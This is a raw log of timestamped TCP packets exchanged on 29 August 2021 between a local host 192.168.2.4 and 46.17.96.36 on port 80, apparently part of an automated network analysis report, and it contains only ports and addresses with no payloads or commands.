Aug 29, 2021 22:29:05.499216080 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.533365011 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.533415079 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.533514977 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.533555984 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.533586025 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.533653021 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.533694983 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.533752918 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.534164906 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534336090 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534538031 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534581900 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534607887 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534744978 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.534929037 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.535003901 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.535718918 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.535798073 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.569118023 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.569180965 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.569211006 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.569235086 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.569259882 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.576603889 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.577635050 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.603530884 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.604510069 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.609297991 CEST	80	50045	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.609410048 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.611094952 CEST	80	50047	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.611212969 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.621556044 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.655282021 CEST	80	50047	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.707417011 CEST	80	50047	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.707515001 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.076611996 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.076952934 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.078111887 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.079484940 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.110282898 CEST	80	50047	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.110383034 CEST	50047	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.110526085 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.110611916 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.113332987 CEST	80	50048	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.113461971 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.114253044 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.114334106 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.120485067 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.120948076 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.121136904 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.121397018 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.121476889 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156035900 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156090021 CEST	80	50048	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156125069 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156259060 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156353951 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156506062 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156533003 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156558037 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156585932 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156620979 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156642914 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156737089 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156764030 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.156845093 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.156948090 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193228006 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193269014 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193295002 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193329096 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193357944 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193382978 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193382978 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193411112 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193437099 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193463087 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193490028 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193490982 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193509102 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193517923 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.193520069 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193530083 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193538904 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193566084 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193582058 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193593025 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193608046 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.193620920 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.206125021 CEST	80	50048	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.206245899 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.228563070 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228583097 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228590965 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228753090 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228765011 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.228773117 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228827953 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.228867054 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.228935003 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.228950024 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229064941 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229078054 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229085922 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229091883 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.229229927 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229393005 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229406118 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229562998 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229763031 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229780912 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229938984 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.229953051 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.230984926 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.231053114 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.231618881 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.232372046 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.263758898 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264061928 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264086962 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264111996 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264137030 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264159918 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.264401913 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.301801920 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.301911116 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.358978033 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.359206915 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.360188961 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.394443035 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.394479990 CEST	80	50049	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.394500971 CEST	80	50048	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.394610882 CEST	50049	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.394613981 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.394620895 CEST	50048	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.410758018 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.443159103 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.491009951 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.491103888 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.668040037 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.668134928 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.668294907 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.668415070 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.672755003 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.700756073 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700793982 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700824976 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700851917 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700874090 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700898886 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700921059 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.700967073 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.701040030 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.701117992 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.701190948 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.708205938 CEST	80	50051	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.708353996 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.709253073 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.733850956 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.733889103 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.733916044 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.733938932 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.733956099 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.733958006 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734024048 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734132051 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.734158039 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.734181881 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.734199047 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734206915 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.734251022 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734275103 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734292984 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.734308958 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.744518995 CEST	80	50051	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769176006 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769207954 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769233942 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769257069 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769274950 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769282103 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.769294977 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769309044 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769315004 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.769323111 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769329071 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.769342899 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769342899 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.769361019 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769382000 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769659996 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769814968 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769836903 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.769855976 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.786432981 CEST	80	50051	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.786557913 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.804702997 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.804743052 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.804765940 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.804785967 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.804804087 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.804847002 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.852529049 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.852619886 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.958684921 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.958985090 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.961128950 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.991779089 CEST	80	50050	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.991863966 CEST	50050	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.994386911 CEST	80	50052	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.994435072 CEST	80	50051	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:06.994519949 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:06.994637966 CEST	50051	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.041423082 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.073868036 CEST	80	50052	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.126326084 CEST	80	50052	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.126432896 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.199781895 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.200822115 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.232783079 CEST	80	50052	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.232899904 CEST	50052	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.239226103 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.239366055 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.256577969 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.256655931 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.256782055 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.256865978 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.274595976 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.293590069 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293647051 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293684006 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293718100 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293745041 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293768883 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.293808937 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.293874025 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.293886900 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.293903112 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.293983936 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.294059992 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.294169903 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.294204950 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.294235945 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.294264078 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.307676077 CEST	80	50054	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.307770014 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.329973936 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330014944 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330116987 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330178022 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330492020 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330569983 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330707073 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330735922 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330759048 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330773115 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330784082 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330801964 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330811024 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.330828905 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330852985 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.330864906 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.331012964 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.331038952 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.331084967 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.331105947 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.331190109 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.331264019 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.333308935 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.365722895 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365763903 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365789890 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365813017 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365889072 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.365900993 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365931034 CEST	80	50054	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.365935087 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.365952015 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.365964890 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.366286993 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366313934 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366338015 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366344929 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.366379023 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.366403103 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366439104 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366626978 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.366806984 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367084026 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367106915 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367177010 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367321968 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367522001 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367551088 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367575884 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.367710114 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401628971 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401655912 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401667118 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401680946 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401767015 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401782036 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.401921988 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.404371977 CEST	80	50054	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.404532909 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.441014051 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.441134930 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.593219995 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.593468904 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.594551086 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.626368046 CEST	80	50054	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.626472950 CEST	50054	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.628540039 CEST	80	50053	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.628664970 CEST	50053	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.629452944 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.629540920 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.641004086 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.676227093 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.722687960 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.722800970 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.944303036 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.944365025 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.944545031 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.944617033 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.979626894 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.979675055 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.979698896 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.979722977 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.979747057 CEST	80	50055	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:07.979790926 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.979835987 CEST	50055	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:07.979963064 CEST	80	50055	46.17.96.36	192.168.2.4
